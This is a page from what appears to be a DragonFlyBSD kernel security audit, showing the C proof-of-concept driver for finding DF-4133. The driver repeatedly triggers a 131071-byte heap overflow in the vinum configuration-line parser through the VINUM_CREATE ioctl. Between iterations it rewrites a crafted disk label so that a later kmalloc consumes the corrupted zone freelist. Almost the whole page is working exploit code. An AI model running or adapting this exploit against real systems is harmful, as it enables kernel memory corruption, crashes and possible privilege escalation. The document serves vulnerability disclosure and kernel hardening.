⬢ DragonFlyBSD Kernel Audit
DF-4133 / vinum_linemash2.c
← back to finding ↓ download raw
/*
 * DF-4133 PoC driver: repeat the crafted-disk config read after restoring
 * the on-disk label between VINUM_RESETCONFIG cycles, so every iteration
 * performs both the 131071-byte line-copy overflow AND a subsequent fresh
 * kmalloc(2048) (the next config_line), which consumes the smashed zone
 * freelist.
 */
#include <sys/types.h>
#include <sys/ioccom.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFSIZE 1024
#define VINUM_CREATE	_IOC(IOC_INOUT, 'F', 64, BUFSIZE)
#define VINUM_RESETCONFIG _IOC(0, 'F', 73, 0)

static int ctl;

static int
relabel(const char *part)
{
	char lbl[512];
	int in, out;
	ssize_t n;

	in = open("/root/poc/lbl.bin", O_RDONLY);
	if (in < 0) return -1;
	n = read(in, lbl, sizeof(lbl));
	close(in);
	if (n != 512) return -1;
	out = open(part, O_RDWR);
	if (out < 0) return -1;
	if (lseek(out, 4096, SEEK_SET) != 4096) { close(out); return -1; }
	n = write(out, lbl, sizeof(lbl));
	close(out);
	return (n == 512) ? 0 : -1;
}

static void
read_drive_cfg(const char *part)
{
	char buf[BUFSIZE];

	memset(buf, 0, sizeof(buf));
	snprintf(buf, sizeof(buf), "read %s", part);
	if (ioctl(ctl, VINUM_CREATE, buf) < 0)
		printf("  read errno=%d reply.error=%d\n", errno, *(int *)buf);
}

int
main(int argc, char **argv)
{
	const char *part = (argc > 1) ? argv[1] : "/dev/vn0s1a";
	int iters = (argc > 2) ? atoi(argv[2]) : 8;
	int i;

	ctl = open("/dev/vinum/control", O_RDWR);
	if (ctl < 0) {
		perror("open /dev/vinum/control");
		return 1;
	}
	for (i = 0; i < iters; i++) {
		printf("iter %d\n", i);
		fflush(stdout);
		read_drive_cfg(part);			/* overflow + parse */
		if (ioctl(ctl, VINUM_RESETCONFIG, 0) < 0)
			printf("  resetconfig errno=%d\n", errno);
		if (relabel(part) < 0)
			printf("  relabel failed\n");
	}
	printf("survived %d iterations\n", iters);
	return 0;
}